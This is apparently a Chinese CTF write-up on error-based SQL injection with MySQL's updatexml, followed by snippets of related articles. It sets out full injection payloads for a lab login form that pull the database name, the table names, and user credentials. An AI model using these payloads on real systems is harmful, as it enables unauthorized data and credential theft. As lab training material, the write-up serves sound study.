CTFweb篇 SQL注入(五)

2021-10-09 06:50:57 字數 3941 閱讀 1358

updatexml(xml_target, xpath_expr, new_xml)

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路徑(xpath格式)

new_xml: 更新後的內容

mysql>

select

-> updatexml(

'ccc',

'/a'

,'fff'

)as val1,

-> updatexml(

'ccc',

'/b'

,'fff'

)as val2,

-> updatexml(

'ccc',

'//b'

,'fff'

)as val3,

-> updatexml(

'ccc',

'/a/d'

,'fff'

)as val4,

-> updatexml(

'ccc',

'/a/d'

,'fff'

)as val5

-> \g

***

****

****結果***

****

****

***val1:

fff<

/e>

val2:

ccc<

/b>

<

/d>

<

/a>

val3:

fff<

/e>

<

/d>

<

/a>

val4:

ccc<

/b>

fff<

/e>

<

/a>

val5:

<

/d>

ccc<

/b>

<

/d>

<

/a>

這裡和上面的extractvalue函式一樣,當xpath路徑語法錯誤時,就會報錯,報錯內容含有錯誤的路徑內容:

這題隨便怎麼對uname寫入都是報錯,只有看原始碼先學習個思路

發現對uname有過濾

;}只擷取15個字元

get_magic_quotes_gpc()

當magic_quotes_gpc=on的時候,函式get_magic_quotes_gpc()就會返回1

當magic_quotes_gpc=off的時候,函式get_magic_quotes_gpc()就會返回0

magic_quotes_gpc函式在php中的作用是判斷解析使用者提示的資料,如包括有:post、get、cookie過來的資料增加轉義字元「\」,以確保這些資料不會引起程式,特別是資料庫語句因為特殊字元引起的汙染而出現致命的錯誤。

在magic_quotes_gpc = on的情況下,如果輸入的資料有

單引號(』)、雙引號(」)、反斜線(\)與 null(null 字元)等字元都會被加上反斜線。

stripslashes()刪除由 addslashes() 函式新增的反斜槓

ctype_digit()判斷是不是數字,是數字就返回true,否則返回false

mysql_real_escape_string()轉義 sql 語句中使用的字串中的特殊字元。

intval() 整型轉換

一句話就是,對輸入的資料進行了轉義。

然後我們這裡就可以用updatexml進行注入

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database()),1)#&submit=submit

這裡就會對updatexml裡面的sql語句進行執行,並返回執行結果(包括錯誤結果提醒)

爆表1'and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#' where username='admin'

這裡最前面只能是數字,不能是字母,報錯原因我也沒搞懂

爆列可能是我的information_schema資料庫有點問題,爆列會出現多於列,然後這個updatexml函式報錯資訊字數有限制,所以只能用limit一列一列的爆

爆資料uname=admin&passwd=15165'and (updatexml(1,(select concat(username,':',password) from users limit 1,1),1))#&submit=submit

報錯,大概就是指不能先select出同一表中的某些值,再update這個表(在同一語句中)。

怎麼辦呢?

就在中間select出來乙個表

查使用者名稱:

uname=admin&passwd=15165'and (updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)aa),0x7e),1))#&submit=submit

查密碼uname=admin&passwd=15165'and (updatexml(1,concat(0x7e,(select password from (select password from users where username='dumb' limit 0,1)aa),0x7e),1))#&submit=submit

有時候會對部分引數進行過濾,要學會在不同的引數中去進行插入,同時要結合sql語句的用法進行選擇合理的函式選擇。這道題用extractvalue也可以成功爆破。

這節就是學習用extractvalue和updatexml來進行攻擊。

CTF Web簡單的SQL注入

慢慢開始做ctf吧。題目鏈結 我的解題過程 題目就是sql注入,先嘗試簡單的sql注入方式 一般的sql語句是 sql select from where 字段 常規注入 t or 1 1 t or 1 1 輸進去有了輸出,但沒有我們需要的flag mysql中所有表都存在information s...

新手 SQL注入篇 Access注入

開局絮叨 幾經波折,開始靜下心來學習。並且申請了知乎專欄,做一些日常學習整理的筆記和一些技巧。留給未來的我,和懂的欣賞的人閱讀。做筆記的確是個好習慣,因為在全世界上萬人中也就有其中那麼些少數人能擁有過目不忘的本領。加油!路還長。0x1 sql注入篇 access注入 當初接觸這個坑的時候就是從注入 ...

SQL注入專題 基礎篇

隨著b s模式應用開發的發展,使用這種模式編寫應用程式的程式設計師也越來越多。但是由於這個行業的入門門檻不高,程式設計師的水平及經驗也參差不齊,相當大一部分程式設計師在編寫 的時候,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在安全隱患。使用者可以提交一段資料庫查詢 根據程式返回的結果,獲得某...